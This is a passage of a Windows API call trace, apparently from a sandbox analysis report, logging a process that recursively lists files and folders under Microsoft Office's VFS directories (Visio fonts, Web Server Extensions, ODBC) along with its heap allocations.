Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52ea133, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x52ea133, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x52ea133, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0287.436] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52ea133, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x52ea133, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x52ea133, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0287.436] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52ea133, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x62b5b1e, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x62b5b1e, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0287.437] GetProcessHeap () returned 0xaf0000 [0287.437] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0287.437] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52ea133, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x62b5b1e, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x62b5b1e, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0287.439] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52ea133, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x62b5b1e, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x62b5b1e, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0287.439] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x52ea133, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x52ea133, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x52ea133, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x4f2ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIGFONT.SHX", cAlternateFileName="")) returned 1 [0287.439] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x531047b, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x531047b, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x531047b, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xa261d, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHINESET.SHX", cAlternateFileName="")) returned 1 [0287.439] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x531047b, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x531047b, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x531047b, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x6a9e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXTFONT.SHX", cAlternateFileName="")) returned 1 [0287.439] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x531047b, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x531047b, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5f6e784, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xdc6b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBCBIG.SHX", cAlternateFileName="")) returned 1 [0287.440] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5f6e784, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x5f6e784, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x62dbd7b, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x2b01, dwReserved0=0x0, dwReserved1=0x0, cFileName="IC-TXT.SHX", cAlternateFileName="")) returned 1 [0287.440] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x62b5b1e, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x62b5b1e, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x62dbd7b, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICAD.FMP", cAlternateFileName="")) returned 1 [0287.440] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x62b5b1e, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x62b5b1e, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x62dbd7b, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x369d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHGDTXT.SHX", cAlternateFileName="")) returned 1 [0287.440] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x62b5b1e, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x62b5b1e, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x62dbd7b, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x2fde5, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHGTXT.SHX", cAlternateFileName="")) returned 1 [0287.440] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5f6e784, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x5f6e784, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x62dbd7b, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x9e413, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTGTXT.SHX", cAlternateFileName="")) returned 1 [0287.440] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x62b5b1e, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x62b5b1e, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x62dbd7b, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xdfc98, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTMTXT.SHX", cAlternateFileName="")) returned 1 [0287.440] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x62b5b1e, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x62b5b1e, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x62dbd7b, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xdfc98, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTMTXT.SHX", cAlternateFileName="")) returned 0 [0287.441] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0287.442] GetProcessHeap () returned 0xaf0000 [0287.442] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0287.442] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52ea133, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x62b5b1e, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x62b5b1e, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 0 [0287.442] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0287.442] GetProcessHeap () returned 0xaf0000 [0287.442] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0287.443] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 1 [0287.443] GetProcessHeap () returned 0xaf0000 [0287.443] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0287.444] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0287.444] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0287.444] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 1 [0287.444] GetProcessHeap () returned 0xaf0000 [0287.444] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0287.445] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\16\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0287.445] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0287.445] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca27806, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xca27806, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 1 [0287.445] GetProcessHeap () returned 0xaf0000 [0287.446] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a72870 [0287.446] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\16\\BIN\\*", lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca27806, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xca27806, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02f08 [0287.446] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca27806, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xca27806, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0287.446] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca27806, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xca27806, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xca27806, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0287.447] GetProcessHeap () returned 0xaf0000 [0287.447] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a82878 [0287.447] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\16\\BIN\\1033\\*", lpFindFileData=0x2fce238 | out: lpFindFileData=0x2fce238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca27806, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xca27806, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xca27806, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3a936b0 [0287.448] FindNextFileW (in: hFindFile=0x3a936b0, lpFindFileData=0x2fce238 | out: lpFindFileData=0x2fce238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca27806, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xca27806, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xca27806, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0287.448] FindNextFileW (in: hFindFile=0x3a936b0, lpFindFileData=0x2fce238 | out: lpFindFileData=0x2fce238*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca27806, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xca27806, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xca27806, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x29b77, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPEXT.MSG", cAlternateFileName="")) returned 1 [0287.448] FindNextFileW (in: hFindFile=0x3a936b0, lpFindFileData=0x2fce238 | out: lpFindFileData=0x2fce238*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca27806, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xca27806, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xca27806, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x29b77, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPEXT.MSG", cAlternateFileName="")) returned 0 [0287.448] FindClose (in: hFindFile=0x3a936b0 | out: hFindFile=0x3a936b0) returned 1 [0287.448] GetProcessHeap () returned 0xaf0000 [0287.448] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a82878 | out: hHeap=0xaf0000) returned 1 [0287.448] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27d1f57e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x239ec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPSRVUTL.DLL", cAlternateFileName="")) returned 1 [0287.448] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x284defd5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1bf6d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 1 [0287.449] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x284defd5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1bf6d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 0 [0287.449] FindClose (in: hFindFile=0xb02f08 | out: hFindFile=0xb02f08) returned 1 [0287.449] GetProcessHeap () returned 0xaf0000 [0287.449] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a72870 | out: hHeap=0xaf0000) returned 1 [0287.450] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca27806, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xca27806, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 0 [0287.450] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0287.450] GetProcessHeap () returned 0xaf0000 [0287.451] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0287.452] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 0 [0287.452] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0287.452] GetProcessHeap () returned 0xaf0000 [0287.452] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0287.452] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 0 [0287.452] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0287.452] GetProcessHeap () returned 0xaf0000 [0287.452] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0287.453] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e16872b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e16872b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2272ee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODBC", cAlternateFileName="")) returned 1 [0287.453] GetProcessHeap () returned 0xaf0000 [0287.453] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0287.454] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\ODBC\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e16872b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e16872b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2272ee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0287.454] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e16872b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e16872b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2272ee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0287.454] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e2272ee, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e2272ee, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2272ee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data Sources", cAlternateFileName="DATASO~1")) returned 1 [0287.454] GetProcessHeap () returned 0xaf0000 [0287.455] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0287.455] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\ODBC\\Data Sources\\*", lpFindFileData=0x2fce9d0 